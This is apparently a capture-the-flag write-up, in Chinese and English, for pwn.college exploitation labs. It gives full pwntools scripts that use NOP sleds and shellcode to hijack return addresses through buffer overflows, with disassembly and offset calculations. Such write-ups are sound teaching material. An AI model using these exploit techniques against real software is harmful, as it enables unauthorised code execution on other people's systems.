NOP Sled 在 Shellcode 前铺上大量 \x90。跳到这片区域的任意位置,CPU 就会顺着一路”滑”到 Shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-nopsled-shellcode')

nop_sled = b'\x90' * 2048
shellcode = asm(shellcraft.cat('/flag'))
payload = (nop_sled + shellcode).ljust(4096, b'\x90')

p.send(payload)
p.interactive()

# pwn.college{*******************************************}

NULL-Free Shellcode

Same as prev, pwntools shellcraft.cat is already null-free.

pwn.college{*******************************************}

Hijack to (Mapped) Shellcode (easy)

Two-stage: first send shellcode to mmap’d region, then overflow return address to jump there. Buffer 112 bytes, canary disabled.

Shellcode mapped at 0x2edca000. Padding to return address = 137 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import time

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode-w')

# Stage 1: send shellcode
shellcode = asm(shellcraft.cat('/flag'))
p.send(shellcode.ljust(4096, b'\x90'))
time.sleep(0.5)

# Stage 2: overflow return address
padding = b'A' * 137
p.send(padding + p64(0x2edca000))
p.interactive()

# pwn.college{*******************************************}

Hijack to (Mapped) Shellcode (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-mmap-shellcode
1
2
3
4
5
6
7
8
9
; mmap shellcode at fixed address 0x178d0000
0x0000153c bf00008d17 mov edi, 0x178d0000
0x00001541 e8bafbffff call sym.imp.mmap
; ...
; getchar() waits for newline between shellcode read and overflow read
0x000015f9 e842fbffff call sym.imp.getchar
; ...
; buf -> rbp - 0x30, padding = 0x30 + 8 = 56 bytes
0x00001622 488d45d0 lea rax, [buf]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import time

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode')

# Stage 1: send shellcode
shellcode = asm(shellcraft.cat('/flag'))
p.send(shellcode.ljust(4096, b'\x90'))
time.sleep(0.5)

# Stage 2: press enter for getchar()
p.sendline()
time.sleep(0.5)

# Stage 3: overflow return address
padding = b'A' * 48 + b'B' * 8
p.send(padding + p64(0x178d0000))
p.interactive()

# pwn.college{*******************************************}

Hijack to Shellcode (easy)

Buffer 102 bytes, return address 136 bytes after buffer. ASLR disabled, stack executable, canary disabled, no PIE.

Stack addresses are fixed: buffer at 0x7fffffffd1a0, return address at 0x7fffffffd228.

NOP Sled 的必要性

通过 pwntoolsprocess() 跑程序和直接在 bash 里跑,传递的环境变量不同:

  • pwntools 可能带不同的 _ 变量、Python 继承的环境变量、argv[0] 路径长度不同
  • 环境变量占据空间变化导致栈指针偏移十几字节

\x90 NOP sled 铺在 shellcode 前面可以容忍这种偏移。

Stack Overlap / Self-Destruct

retRSP 上移 8 字节。如果 shellcode 紧贴返回地址,shellcode 中的 push 指令会往回覆盖自己的机器码(栈向下生长,push 减 RSP 写入数据)。

解决:用 padding 隔开 shellcode 和返回地址,让 shellcode 放在返回地址之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "error"

p = process("/challenge/binary-exploitation-hijack-to-shellcode-w")

target_address = 0x7FFFFFFFD1B0
offset = 136
nop_sled = b"\x90" * 32
shellcode = asm(shellcraft.cat("/flag"))
padding_len = offset - len(shellcode) - len(nop_sled)

# [NOP sled] + [Shellcode] + [Padding] + [RetAddr -> NOP sled]
payload = nop_sled + shellcode + (b"A" * padding_len) + p64(target_address)
p.send(payload)
p.interactive()

# pwn.college{*******************************************}

Hijack to Shellcode (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-shellcode
1
2
3
; buf -> rbp - 0x40, padding = 0x40 + 8 = 72 bytes
0x00401d22 488d45c0 lea rax, [buf]
0x00401d26 4889c6 mov rsi, rax ; read into buf

Use GDB (with ASLR disabled) to find exact buffer address:

1
2
3
4
5
pwngdb /challenge/binary-exploitation-hijack-to-shellcode
unset env
break *0x00401d2e
run
# rsi (buf) = 0x00007fffffffdc70

buffer -> 0x00007fffffffdc70

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "error"

p = process("/challenge/binary-exploitation-hijack-to-shellcode", env={})

# target somewhere in the NOP sled after return address
target_address = 0x00007fffffffdd70
offset = 72 # 0x40 + 8
shellcode = asm(shellcraft.cat("/flag"))
nop_sled = b"\x90" * 2000

# [Padding] + [RetAddr] + [NOP sled] + [Shellcode]
payload = b"A" * offset + p64(target_address) + nop_sled + shellcode
p.send(payload)
p.interactive()

# pwn.college{*******************************************}